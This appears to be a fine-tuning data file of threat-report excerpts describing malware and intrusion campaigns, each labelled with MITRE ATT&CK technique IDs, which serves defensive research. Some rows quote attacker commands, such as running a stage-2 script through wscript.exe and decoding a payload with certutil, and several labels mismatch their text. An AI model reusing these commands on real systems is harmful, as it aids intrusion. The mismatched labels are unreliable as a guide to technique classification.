"The maldocs used in this campaign typically contain a malicious VBA macro that downloads and activates the next stage of the infection chain. Although the VBA macro contains an auto open subroutine, it uses several VBA functions registered to trigger if the ""Typing replaces selection"" property is enabled in Microsoft Word. The VBA functions trigger when the victim types any content into the maldoc. Appdata%\desktop.iniThe next stage of the VBS is run using wscript.exe using a command such as:%windir%\System32\wscript.exe //e:vbscript //b &lt;path_to_Stage_2&gt;Macros dropping VBS to disk and running via wscript.exe","['T1204.002 - User Execution: Malicious File', 'T1059.005 - Command and Scripting Interpreter: Visual Basic', 'T1059.005 - Command and Scripting Interpreter: Visual Basic']",fine_tune
"The stage 2 payload for the macOS X malware was decoded and analyzed. The stage 2 malware has a variety of functionalities. Most importantly, it checks in with a C2 and, after connecting to the C2, can send or receive a payload, read and write files, execute commands via the terminal, etc",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"Using the built-in expand.exe utility provided by Microsoft Windows, the dropper executes the following command, which will expand the CAB file and write the results to the provided directory",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"In some instances, we have also seen the RemcosRAT malware family delivered as the final payload. Additionally, the process attempts to lower the overall security of the system by disabling security features in Microsoft Office and Windows Defender. The payloads themselves are rather interesting, as the developer wraps the malicious code with legitimate source code freely available online",['T1204.002 - User Execution: Malicious File'],fine_tune
"This data is gathered into an information structure which the RAT zips with an 8 bytes random generated password, which is then XORed with one byte",['T1560 - Archive Collected Data'],fine_tune
"On another occasion, CVE-2021-26411 was used, which is another exploit targeting Internet Explorer and legacy versions of Microsoft Edge. The redirect code was set up in the same way as CVE-2020-1380, the only difference being the exploit code used. The key part of the exploit code used is given in Figures 3 and 4",['T1203 - Exploitation for Client Execution'],fine_tune
"The threat actor accomplished this by using administrative accounts to connect via SMB to targeted users, and then copy their Chrome profile directories as well as data protection API (DPAPI) data",['T1003.006 - OS Credential Dumping: DCSync'],fine_tune
"TA416 has used SMTP2Go to impersonate various European diplomatic organizations since at least 2020. In this historical campaign, TA416 delivered a DropBox URL that delivered a PlugX variant aligning with Recorded Future’s analysis of ""Red Delta"" PlugX malware. Included below is a publicly available malicious Zip file hash from August 2020 delivered via a DropBox URL which is attributable to TA416/Red Delta",['T1102 - Web Service'],fine_tune
"One, called ""frown.py,"" is responsible for the communications with the command and control (C2). It uses TLS to encrypt the communication that occurs on port 143. The RAT will answer the ""who"" command with a string that contains the username, computer name and the previously generated UUID. The ""ice"" command simply makes the RAT finish the connection procedure. This is responsible for the interpretation and execution of the C2 commands. The available commands are",['T1573.002 - Asymmetric Cryptography'],fine_tune
"The use of the web bug reconnaissance technique suggests TA416 is being more discerning about which targets the group chooses to deliver malware payloads. Historically, the group primarily delivered web bug URLs alongside malware URLs to confirm receipt. In 2022, the group started to first profile users and then deliver malware URLs. This may be an attempt by TA416 to avoid having their malicious tools discovered and publicly disclosed. By narrowing the lens of targeting from broad phishing campaigns to focus on targets that have proven to be active and willing to open emails, TA416 increases its chance of success when following up with malicious malware payloads",['T1566.002 - Phishing: Spearphishing Link'],fine_tune
"In such a situation, the malware will find and run the built-in Microsoft Windows InfDefaultInstall.exe program, which will install a DLL via an INF file. Should Tencent be installed, the malware will execute the InfDefaultInstall.exe program with an argument of ‘QQMgr.inf’. Otherwise, it will use ‘hccutils.inf’ as an argument",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
Multiple samples contain UAC bypass code for both 32 and 64-bit systems. The UAC bypass code is stored as 'DAT' in the file's resource section,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
"On Sunday August 24, 2014 we observed a spear phish email sent to a Taiwanese government ministry. Attached to this email was a malicious Microsoft Word document (MD5: f6fafb7c30b1114befc93f39d0698560) that exploited CVE-2012-0158. It is worth noting that this email appeared to have been sent from another Taiwanese Government employee, implying that the email was sent from a valid but compromised account","['T1204.002 - User Execution: Malicious File', 'T1566.001 - Phishing: Spearphishing Attachment']",fine_tune
"After successful lateral movement, the attackers tried to establish persistency on selected servers –targeting all domain controllers, but also other servers. To achieve persistency, they used WMI Event Subscription with a few different WMI objects",['T1018 - Remote System Discovery'],fine_tune
"Figure 3 shows a code excerpt from the embedded macro that checks which base64 blob should be decoded based on the iCheck variable, a Boolean value which is set to true if the victim system is running on a 64-bit system and false on a 32-bit system. If the system is found to be 64-bit, the base64 encoded blob on the left is decoded otherwise the base64 encoded blob on the right is decoded",['T1082 - System Information Discovery'],fine_tune
"The macro prepends the string -----BEGIN CERTIFICATE----- to the beginning of the base64 encoded payload and appends -----END CERTIFICATE----- to the end of the data. The macro then writes this data to a text file in the C:\Programdata folder using a random filename with the .txt extension. The macro then uses the command certutil -decode to decode the contents of this text file and outputs the decoded content to a randomly named file with a .exe extension in the C:\Programdata folder. The newly dropped executable is a loader Trojan responsible for installing and running the payload of this attack. Overall, SofacyCarberp does initial reconnaissance by gathering system information and sending it to the C2 server prior to downloading additional tools to the system. These differences include a new hashing algorithm to resolve API functions and to find running browser processes for injection, as well as changes to the C2 communication mechanisms as explained in detail within the appendix. Open-source Delivery Document Generator It appears that Sofacy may have used an open-source tool called Luckystrike to generate the delivery document and/or the macro used in this attack. Luckystrike, which was presented at DerbyCon 6 in September 2016, is a Microsoft PowerShell-based tool that generates malicious delivery documents by allowing a user to add a macro to an Excel or Word document to execute an embedded payload. To confirm our suspicions, we generated a malicious Excel file with Luckystrike and compared its macro to the macro found within Sofacy's delivery document. We found that there was only one difference between the macros besides the random function name and random cell values that the Luckystrike tool generates for each created payload",['T1105 - Ingress Tool Transfer'],fine_tune
"As Hui explains, this happens because ngrok.io URLs stay online for only around 12 hours, and by the time security researchers identify a new C&amp;C URL, the ngrok.io link changes to a new one, hiding the botnet from researchers once more. This allows the botnet to survive more than other botnets that host C&amp;C servers on popular hosting platforms where security firms can usually intervene via abuse requests",['T1568.002 - Domain Generation Algorithms'],fine_tune
"As mentioned, FALLCHILL was reported as the final payload for Celas Trade Pro. All FALLCHILL samples use 16-byte hardcoded RC4 keys for sending data, similar to the 16-byte keys in the AppleJeus samples",['T1573.001 - Symmetric Cryptography'],fine_tune
"If the connection to the C2 server is successful, the script parses the output and invokes it using IEX. The script sleeps for a random number of seconds between 60 and 100 after each attempt to reach the C2. The GET requests will be parsed by LitePower and invoked using PowerShell’s IEX function","['T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1071.001 - Application Layer Protocol: Web Protocols']",fine_tune
"It only installs the second-stage script in the default registry value under the registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\sibot. Variant B registers a scheduled task named Sibot and programmed to run daily. This task, which is saved by Windows in the file C:\Windows\System32\Tasks\Microsoft\Windows\WindowsUpdate\sibot, runs the following command-line daily",['T1112 - Modify Registry'],fine_tune
"The exploit used, named EternalBlue, exploits a vulnerability in the Server Message Block (SMB) protocol which allows the malware to spread to all unpatched Windows systems from XP to 2016 on a network that have this protocol enabled. This vulnerability allows remote code execution over SMB v1. WannaCry utilizes this exploit by crafting a custom SMB session request with hard-coded values based on the target system",['T1210 - Exploitation of Remote Services'],fine_tune
networkDll32 Trickbot uses this encrypted module to scan the network and steal relevant network information. It executes the following commands to gather information on the infected system,['T1016 - System Network Configuration Discovery'],fine_tune
"Embedded Downloader Trojan The M payload (referenced previously along with the R payload, above) injected and executed within the memory space of the other process is a downloader Trojan. This specific downloader appears to have been created using a VB2Exe tool, as the functional code that carries out the downloading functionality exists as a VBScript embedded within the payload. The payload extracts this VBScript from a resource and saves it to a file that it extracts from another resource",['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
"The folder C:\Users\Public\Administrador\logs\ is created to store screenshots, as well as the number of mouse clicks the user has triggered while browsing the banking sites (Figure 12). The screenshots are continuously saved as .jpg images",['T1119 - Automated Collection'],fine_tune
"The official AutoIt3 interpreter comes as part of the AutoIt installation package, and it is used by the malware to execute the compiled script. The VBS script runs the AutoIt interpreter, passing the compiled script as an argument. Once executed, it loads the library, which was also passed as an argument to call a hardcoded exported function",['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
1) Resolves WINAPI functions 2) Hides its GUI using ShowWindow WINAPI call 3) Compares if the DLL is being ran by wmplayer,['T1564.003 - Hide Artifacts: Hidden Window'],fine_tune
"BADNEWS Much of BADNEWS has remained consistent from when it was originally discussed by Forcepoint in August 2016. To briefly recap, the BADNEWS malware family acts as a backdoor, with communication occurring over HTTP. A number of commands are provided to the attackers, including the ability to download and execute additional information, upload documents of interest, and take screenshots of the desktop",['T1102.001 - Dead Drop Resolver'],fine_tune
"Throughout the years, Kimsuky has been using an array of malware in their operations. The infrastructure of some of the malware used by Kimsuky can be tracked using pattern analysis of the URI structures used by some of their tools. The following table maps commonly observed URI patterns to their respective malware",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"This is not the first time Turla has used PowerShell in-memory loaders to increase its chances of bypassing security products. After a few months, Turla has improved these scripts and is now using them to load a wide range of custom malware from its traditional arsenal. PowerShell Loader . The PowerShell loader has three main steps: persistence, decryption and loading into memory of the embedded executable or library. It reads the Windows Registry key where the encrypted payload is stored, and contains the password and the salt needed to decrypt the payload. WMI consumer PowerShell command . Finally, the script stores the encrypted payload in the Windows registry. Hijacked profile.ps1 file . The base64-encoded PowerShell command is very similar to the one used in the WMI consumers. The key and the salt are also different for each script and are not stored in the script, but only in the WMI filter or in the profile.ps1 file. Patching of AmsiScanBuffer function . Payloads . The PowerShell scripts we have presented are generic components used to load various payloads, such as an RPC Backdoor and a PowerShell backdoor. We have seen operators use this backdoor for the following purposes: Conclusion . In a 2018 blogpost, we predicted that Turla would use more and more generic tools. Finally, the usage of open-source tools does not mean Turla has stopped using its custom tools",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"This appears to be an implementation of hashbusting — a method of obfuscation in which a malware sample is subtly changed on the fly so each sample has a different checksum. As a result, the SHA256 hash of each payload downloaded from the sites in question appeared to be unique. However, the SSDEEP fuzzy hash of this sample was as follows",['T1027.005 - Indicator Removal from Tools'],fine_tune
"By using these methods, Kimsuky can gain login and password information and/or launch malware outside of some application allowlisting solutions",['T1133 - External Remote Services'],fine_tune
"Once delivered, Egregor will perform a sequence of language checks in a similar manner to both Maze and Sekhmet, before attempting to enumerate all connected drives. If successful, it connects to a command and control (C2) server to grab a list of directories present on the enumerated drives to search. Any files in these directories are then extracted and sent back to the C2 server",['T1039 - Data from Network Shared Drive'],fine_tune
"After the driver is loaded, the VSS service is disabled using the Control Service Manager. Following this, a number of additional threads are created. A thread is created to handle the system reboot. It will sleep for the time specified by a command line parameter of 35 minutes, at which point the system will be restarted by an API call to InitializeSystemShutdownExW",['T1134 - Access Token Manipulation'],fine_tune
"Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. It uses RC4 encryption and custom Base64 encoding to obfuscate HTTP traffic. xxmm (also known as Minzen) — This RAT and likely successor to Daserf AES-encrypts HTTP communications using a one-time encryption key. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. CTU researchers identified an xxmm builder for xxmm (see Figure 2), which suggests that the threat actors customize the xxmm malware settings based on the target. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. Use the ‘net time' command to check the local time on the target system. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity. Use an advanced endpoint threat detection (AETD) solution to monitor activity on network endpoints. In particular, review network access for use of mobile USB modems on corporate systems",['T1124 - System Time Discovery'],fine_tune
The hooked WriteFile procedure’s main purpose is to save the file handle of the subject file to write and install another hook in the CloseHandle API function,['T1005 - Data from Local System'],fine_tune
"The first of FIN7's new tools is BOOSTWRITE – an in-memory-only dropper that decrypts embedded payloads using an encryption key retrieved from a remote server at runtime. FIN7 has been observed making small changes to this malware family using multiple methods to avoid traditional antivirus detection, including a BOOSTWRITE sample where the dropper was signed by a valid Certificate Authority. While CARBANAK has been thoroughly analyzed and has been used maliciously by several financial attackers including FIN7, RDFSNIFFER is a newly-identified tool recovered by Mandiant investigators",['T1587.001 - Malware'],fine_tune
"The first layer of the FYAnti loader decrypts an embedded .NET module and executes it using the CppHostCLR technique. The .NET module is packed using “ConfuserEx v1.0.0” and acts as yet another loader that searches for a file in the “C:\Windows\Microsoft.NET\” directory with file sizes between 100,000 and 500,000","['T1027.002 - Obfuscated Files or Information: Software Packing', 'T1083 - File and Directory Discovery']",fine_tune
"Once gaining a foothold, the threat actors use off-the-shelf tools to ensure persistence, including Remote Desktop Protocol (RDP) to maintain access. While GDPR requirements prevented us from pivoting on Registrant information, the actors reused IP space, reused a certificate, and the aforementioned domain mimicking technique allowed for some pivoting. Toolset . Once gaining a foothold on a user’s system, the threat actors behind STOLEN PENCIL use Microsoft’s Remote Desktop Protocol (RDP) for remote point-and-click access. This means a human is behind the keyboard interacting with a compromised system, and not using a RAT (Remote Access Trojan) with a command-and-control site acting as a proxy between the threat actor and the compromised system. A compromised or stolen certificate was used to sign several PE files used in STOLEN PENCIL for two sets of tools: - MECHANICAL Logs keystrokes to %userprofile%\appdata\roaming\apach. GREASE a tool to add a Windows administrator account with a specific username/password and enable RDP, circumventing any firewall rules. defaultes/1qaz2wsx#EDC - a tool to add a Windows administrator account with a specific username/password and enable RDP, circumventing any firewall rules. Figure 5: Certificate used to sign MECHANICAL/GREASE While the threat actors did use a few tools to automate intrusions, we also found a ZIP archive of tools that demonstrate their propensity for password theft to propagate. Using a combination of stolen passwords, backdoor accounts, and a forced-open RDP service, the threat actors are likely to retain a foothold on a compromised system. Conclusion . While we were able to gain insight into the threat actor’s TTPs (Tools, Techniques, &amp; Procedures) behind STOLEN PENCIL, this is clearly just a small window into their activity",['T1078.003 - Valid Accounts: Local Accounts'],fine_tune
"This simple backdoor is likely used as a second-chance backdoor to maintain access to the system, even if the primary malware is removed. It could also be used as a second-stage dropper to infect the system with additional malware",['T1105 - Ingress Tool Transfer'],fine_tune
"Layer 2 uses a classic Adobe Flash Player Vector corruption technique to develop its heap corruption vulnerability to a full relative read/write available to ActionScript3. In this technique, the attacker sprays Adobe Flash Player Vectors to the heap, and triggers a write vulnerability to change the size of one of the vectors. For more details on this technique, see Flash in 2015",['T1203 - Exploitation for Client Execution'],fine_tune
"Filter the target machines: setup.bat first checks if the hostname of the machine is one of the following: PIS-APP, PIS-MOB, WSUSPROXY or PIS-DB. Download the malicious files onto the machine: the same batch file downloads a cab archive named env.cab from a remote address in the internal network: \\railways.ir\sysvol\railways.ir\scripts\env.cab. The use of specific hostnames and internal paths indicates the attacker had prior knowledge of the environment. Extract and run additional tools: update.bat, which was extracted and started by setup.bat, uses the password hackemall to extract the next stages: cache.bat, msrun.bat and bcd.bat. Corrupt the boot: bcd.bat is used in order to harm the boot process","['T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1489 - Service Stop']",fine_tune
"The BONDUPDATER Trojan contains basic backdoor functionality, allowing threat actors to upload and download files, as well as the ability to execute commands. BONDUPDATER, like other OilRig tools, uses DNS tunneling to communicate with its C2 server","['T1105 - Ingress Tool Transfer', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1071.004 - Application Layer Protocol: DNS']",fine_tune
"As mentioned in our earlier technical report on Trojan.Hydraq, the back door allows the attacker to perform any of the following activities: - Adjust token privileges. Check status, control, and end processes and services. Create, modify, and delete registry subkeys. Retrieve a list of logical drives",['T1083 - File and Directory Discovery'],fine_tune
"The actor then tested connectivity to an IP managed by the victim’s service provider. Once connectivity to the service provider IP was verified, the actor established the service provider IP as a proxy for the victim’s SOGU backdoor. This effectively routes SOGU malware traffic through the victim’s service provider, which likely indicates a foothold on the service provider’s network. The tactic also serves to mask malicious C2 and exfiltration traffic and make it appear innocuous",['T1090.002 - External Proxy'],fine_tune
"The malware component, test.exe, uses the Windows command ""cmd.exe"" /C whoami” to verify it is running with the elevated privileges of “System” and creates persistence by creating the following scheduled task","['T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1033 - System Owner/User Discovery']",fine_tune
"The download process is the same with the previous variant, the loader resolves the command and control server IP address using a hardcoded list of DNS servers and then downloads the corresponding file. An interesting addition, in the latest samples, is the use of an alternative command and control server IP address, in case the primary one fails. The alternative IP address is generated by applying a bitwise XOR operation to each byte of the resolved command and control IP address with the byte 0xFE. In addition, as a possible anti-behaviour method, the loader verifies that the command and control server IP address is not ‘127.0.0.1’. Both of these methods are also present in the latest Team9 backdoor variants",['T1008 - Fallback Channels'],fine_tune
"Audit all remote authentications from trusted networks or service providers. Detect mismatches by correlating credentials used within internal networks with those employed on external-facing systems. Log use of system administrator commands such as net, ipconfig, and ping",['T1133 - External Remote Services'],fine_tune
"1) Use PowerShell Constrained Language Mode as it uses IEX, Add-Type, and New-Object. 2) Lock PowerShell Execution Policy, must be set to “AllSigned” via GPO. 3) An allowlisting solution to prevent certain process child-parent execution hierarchies",['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],fine_tune
"The main functionality of the macros remained the same as in a previous APT34 campaign: The malicious macros use the MouseAvailable function for evasion, and create a scheduled task to execute a payload embedded within the document",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"Since the 2016 publication, Microsoft has come across an evolution of PLATINUM’s file-transfer tool, one that uses the Intel® Active Management Technology (AMT) Serial-over-LAN (SOL) channel for communication",['T1105 - Ingress Tool Transfer'],fine_tune
"Maze creates a mutex with the name “Global\x” where x is a special value that is unique per machine. For example, in the next screenshot (some information has been deleted to anonymize the machine used for the analysis) is an example of this behavior",['T1047 - Windows Management Instrumentation'],fine_tune
"Additionally, one of the samples is able to capture screenshots of the infected system. To perform this task, the developer used the GDI API: A keylogger is also present in the analyzed sample. The SetWindowsHookEx() API is used to retrieve the stroked keys. The GetKeyNameText() API is used to retrieve a string that represents the name of a key. In addition to the key, the title of the foreground window is stored in order to known where the infected user is typing (by using the GetForegroundWindow() and GetWindowText() API",['T1113 - Screen Capture'],fine_tune
"Endpoint Protection . Buckeye cyberespionage group shifts gaze from US to Hong Kong . Buckeye (also known as APT3, Gothic Panda, UPS Team, and TG-0110) is a cyberespionage group that is believed to have been operating for well over half a decade. Buckeye used a remote access Trojan (Backdoor.Pirpi) in attacks against a US organization’s network in 2009. Symantec has identified additional tools used by the group, which will be discussed later. Organizations that Buckeye targeted over time, per region . Malware and tools . Buckeye uses a number of hacking tools as well as malware. Buckeye uses Backdoor.Pirpi, a remote access Trojan capable of reading, writing, and executing files and programs. As mentioned previously, Buckeye also uses a number of hacking tools, including the following: Keylogger: The keylogger is configured using the command line parameters: NetworkService, Replace, Install, Register and Unregister. RemoteCMD: This tool executes commands on remote computers, similar to the PsExec tool. On execution, the tool injects itself into lsass.exe and is triggered with the argument “dig”. OSinfo: OSInfo is a general purpose, system information gathering tool. It has the following command line argument help: ChromePass: A tool from NirSoft used for recovering passwords stored in the Chrome browser. This, coupled with the group’s use of zero-day exploits in the past, customized tools, and the types of organizations being targeted would suggest that Buckeye is a state-sponsored cyberespionage group",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"Just like Rampant Kitten, both threat groups attempted to gather information from the Keepass password manager and changed the execution flow of Telegram Desktop to ensure the persistence of their malware",['T1555.005 - Password Managers'],fine_tune
"In this campaign, Palmerworm is also using stolen code-signing certificates to sign its payloads, which makes the payloads appear more legitimate and therefore more difficult for security software to detect. Palmerworm has been publicly documented using stolen code-signing certificates in previous attack campaigns",['T1588.003 - Code Signing Certificates'],fine_tune
"After the malware is downloaded and files verified, the script will check in the C:\Program Files\ directory for the presence Avast antivirus, which happens to be the most common installed AV worldwide",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"Monday, February 12, 2018 . Olympic Destroyer Takes Aim At Winter Olympics . This blog post is authored by Warren Mercer and Paul Rascagneres. Officials at the games confirmed some technical issues to non-critical systems and they completed recovery within around 12 hours. The destructive nature of this malware aims to render the machine unusable by deleting shadow copies, event logs and trying to use PsExec &amp; WMI to further move through the environment. This feature explains why we discovered several samples with different sets of credentials that were collected from previously infected systems. Dropped Files . Browser Credential Stealer . Olympic Destroyer drops a browser credential stealer. SQLite is embedded in the sample: . System Credential Stealer . In additional to the browsers credential stealer, Olympic Destroyer drops and executes a system stealer. This step is executed to ensure that file recovery is not trivial - WBAdmin can be used to recover individual files, folders and also whole drives so this would be a very convenient tool for a sysadmin to use in order to aid recovery. Additionally, the destroyer disables all the services on the system: The malware uses the ChangeServiceConfigW API to change the start type to 4 which means: ""Disabled: Specifies that the service should not be started. Legitimate File . Additionally, the Olympic Destroyer drops the legitimate, digitally signed, PsExec file in order to perform lateral movement by using this legitimate tool from Microsoft. categories . Subscribe To Our Feed . Blog Archive . - - - - - - - - - - - - ▼ February (14) CannibalRAT targets Brazil Who Wasn’t Responsible for Olympic Destroyer",['T1490 - Inhibit System Recovery'],fine_tune
"To install a malicious shim database, the attacker invokes a Microsoft utility called sdbinst.exe through a PowerShell script",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"When connecting to web shells on a target network GALLIUM has been observed employing Taiwan-based servers. Observed IP addresses appear to be exclusive to GALLIUM, have little to no legitimate activity, and are reused in multiple operations. These servers provide high fidelity pivot points during an investigation",['T1583.004 - Server'],fine_tune
"During this process, the adversary identifies data of interest from the network of the victim. This can be anything from file and directory-listings, configuration files, manuals, email stores in the guise of OST- and PST-files, file shares with intellectual property (IP), and data scraped from memory. If the data is small enough, it is exfiltrated through the command and control channel of the Cobalt Strike beacons. However, usually the data is compressed with WinRAR, staged on another system of the victim, and from there copied to a OneDrive-account controlled by the adversary","['T1114.001 - Email Collection: Local Email Collection', 'T1083 - File and Directory Discovery']",fine_tune
"As the result of the RC4 encryption may contain binary data, the malware additionally encodes it in BASE64, to match the HTTP specification",['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
"We attribute this campaign with high confidence to an actor named WIRTE, which is a lesser-known threat actor first publicly referenced by our colleagues at Lab52 in 2019. We further suspect, with low confidence, that the WIRTE group has relations with the Gaza Cybergang threat actor",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
1) QEMU Linux images. 2) Shell scripts used to launch the QEMU images. 3) Daemons used to start the shell scripts at boot and keep them running. 4) A CPU monitor shell script with an accompanying daemon that can start/stop the mining based on CPU usage and whether the Activity Monitor process is running,['T1059.004 - Command and Scripting Interpreter: Bash'],fine_tune
"Retefe is different from most banking Trojans, which typically attack web browser software to capture login credentials before they are encrypted with SSL and sent to the bank’s web server. Instead, Retefe uses the Windows PowerShell to execute a series of commands that installs a new root certificate on the system and a proxy configuration to re-route the traffic to the targeted banking websites",['T1553.004 - Subvert Trust Controls: Install Root Certificate'],fine_tune
Remote desktop available via VNC. Hidden Remote desktop available via RDPWrap. Privilege escalation (even for the latest Win10 updates) Remote WebCam control. Remote Shell. Remote desktop available via VNC. Hidden Remote desktop available via RDPWrap. Remote Shell. Remote desktop available via VNC. Hidden Remote desktop available via RDPWrap. Privilege escalation (even for the latest Win10 updates) - Remote WebCam control,['T1021.005 - Remote Services:VNC'],fine_tune
"The use of specific hostnames and internal paths indicates the attacker had prior knowledge of the environment. Extract and run additional tools: update.bat, which was extracted and started by setup.bat, uses the password hackemall to extract the next stages: cache.bat, msrun.bat and bcd.bat. Corrupt the boot: bcd.bat is used in order to harm the boot process",['T1070.001 - Indicator Removal on Host: Clear Windows Event Logs'],fine_tune
The tool is used to hide the threat actors’ tools and services. The tool’s configuration was added to registry run keys on a victim’s computer,"['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1112 - Modify Registry']",fine_tune
"When loaded with startup command 2, the installer can copy the original explorer.exe file inside its current running directory and rename d3d9.dll to uxtheme.dll. In this case the persistence is achieved by loading the original explorer.exe from its startup location and, using DLL side-loading, passing the execution control to the stage 4 malware (discussed in next section",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"After all the initial HTTP GET requests, the malware starts to gather JSON-formatted system data. For all the fixed drives in the system, the network module stores the disk name and size, as well as computer and user name, Windows directory, host IP, etc",['T1082 - System Information Discovery'],fine_tune
"Backdating, or timestomping, is a technique used by many threat actors which involves the manipulation of the creation timestamps or compilation date of a file in order to thwart analysis attempts (anti-forensics). It is suspected that the creation date of most of the files mentioned in this report were tampered with by the threat actors and backdated to 2016",['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
"KillDisk, along with the multipurpose, cyberespionage-related BlackEnergy, was used in cyberattacks in late December 2015 against Ukraine’s energy sector as well as its banking, rail, and mining industries. The malware has since metamorphosed into a threat used for digital extortion, affecting Windows and Linux platforms",['T1083 - File and Directory Discovery'],fine_tune
"RemoteCMD: This tool executes commands on remote computers, similar to the PsExec tool. Usage is: %s shareIp domain [USER INFORMATION||[USER NAME AND PASSWORD]] [/run:[COMMAND","['T1569.002 - System Services: Service Execution', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",fine_tune
The new wave of Shamoon is accompanied by a .Net tool kit that spreads Shamoon Version 3 and the wiper Filerase,['T1569.002 - System Services: Service Execution'],fine_tune
"Typical file exfiltration modules deployed by threat actors usually consist of the ability to enumerate and exfiltrate files. These implants enumerate files in specific drives or directories and exfiltrate the file lists first. Once the attackers identify the files of interest, the module is instrumented for exfiltration of the files.The VBScript-based file recon module used by the attackers is somewhat different. It downloads a file listing from a remote location that contains the file paths of specific files of interest to the attackers. The file listing is so precise that the attackers know the exact file paths of the files they're looking for on an infected endpoint. This prevents re-infection of the target.A marker file is created in an attacker-specified folder and is checked before the exfiltration module begins its malicious activities. If the marker file is not found, the module will proceed with its recon and exfiltration activities.In August 2021, we saw a minor variation of the same script being deployed in the wild. Instead, it's hardcoded into the scripts showing that the attackers already know the identities of the targets that they are trying to infect. This indicates that this is a highly targeted attack.In October 2021, we observed another update in the file exfiltration scripts",['T1083 - File and Directory Discovery'],fine_tune
"After achieving access to staging targets, the threat actors installed tools to carry out operations against intended victims. On one occasion, threat actors installed the free version of FortiClient, which they presumably used as a VPN client to connect to intended target networks",['T1105 - Ingress Tool Transfer'],fine_tune
"NCCIC observed multiple methods used by NotPetya to propagate across a network. The first and—in most cases—most effective method, uses a modified version of the Mimikatz tool to steal the user’s Windows credentials. The cyber threat actor can then use the stolen credentials, along with the native Windows Management Instrumentation Command Line (WMIC) tool or the Microsoft SysInternals utility, psexec.exe, to access other systems on the network. Another method for propagation uses the EternalBlue exploit tool to target unpatched systems running a vulnerable version of SMBv1",['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
"At face value, ISMInjector is obfuscated with the off-the-shelf SmartAssembly .NET obfuscator created by red-gate.com. The first execution of ISMInjector starts by copying itself to %localappdata%\srvBS.txt and enables persistent access to the system",['T1027 - Obfuscated Files or Information'],fine_tune
"Speaking on the vulnerability leveraged by this attack, while we spotted the attack performed via Office 2007 running on Windows XP, this is actually a fault existing in a TIFF-processing component shipped with Microsoft Office. Therefore, not only are Office 2007 with Windows XP vulnerable to this attack, but also more environments are affected by this vulnerability. In addition, our later research showed this exploit also works on Office 2007 running on Windows 7. The Labs has been actively working on getting every piece of details of this exploit, we may share our additional findings in the near future",['T1203 - Exploitation for Client Execution'],fine_tune
"Volexity has identified multiple new attack campaigns being launched by OceanLotus via multiple fake websites and Facebook pages that have been set up within the last year. In addition to targeting those within Vietnam, Volexity has seen renewed targeting of OceanLotus's neighbors throughout Southeast Asia. These websites have been observed profiling users, redirecting to phishing pages, and being leveraged to distribute malware payloads for Windows and OSX. This post will focus on one of the larger campaigns where OceanLotus has leveraged multiple fake news websites to target users",['T1585.001 - Social Media Accounts'],fine_tune
"modifying permissions, modifying credentials, adding or changing permission groups, modifying account settings, or modifying how authentication is performed) to maintain access to credentials and certain permission levels within an environment (Account Manipulation [T1098]) - Steal the credentials of a specific user or service account to bypass access controls and retain access to remote systems and externally available services (Valid Accounts [T1078]) - Use the Task Scheduler to run programs at system startup or on a scheduled basis for persistence, conduct remote execution for lateral movement, gain SYSTEM privileges for privilege escalation, or run a process under the context of a specified account (Scheduled Task/Job [T1053]) - Abuse the Windows DLLs search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence (Hijack Execution Flow: DLL Search Order Hijacking [T1056.004]) - Exploit hooking to load and execute malicious code within the context of another process to mask the execution, allow access to the process’s memory, and, possibly, gain elevated privileges (Input Capture: Credential API Hooking [T1574.001]) - Use remote services to persist within a victim’s network (External Remote Services [T1133","['T1505.003 - Server Software Component: Web Shell', 'T1569.002 - System Services: Service Execution', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",fine_tune
The shellcode uses a 16-byte XOR key for decrypting the data as shown in Figure 10,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"Recent samples, with the ability to discover wireless network settings and credentials will spawn an instance of netsh.exe after a brief sleeping period (after launch). The syntax utilized initially is",['T1016 - System Network Configuration Discovery'],fine_tune
"TA551 has distributed different families of malware, including Ursnif (Gozi/ISFB), Valak and IcedID. TA551 malspam spoofs legitimate email chains based on data retrieved from previously infected Windows hosts. This is a generic statement asking the recipient to open an attached ZIP archive using the supplied password. File names for the ZIP archives use the name of the company being spoofed in the email. For example, if the spoofed sender is someone@companyname.com, the ZIP attachment would be named companyname.zip. In 2020, we also started seeing emails with info.zip or request.zip as the attached ZIP archive names. These password-protected ZIP attachments contain a Word document with macros to install malware. File names for the extracted Word documents follow noticeable patterns that have evolved as this campaign has progressed. URLs generated by the associated Word macros also follow noticeable patterns that have also evolved as this campaign has progressed",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"This section describes how we identified additional Stealth Falcon victims and bait content, and traced Stealth Falcon’s spyware to additional C2 servers",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
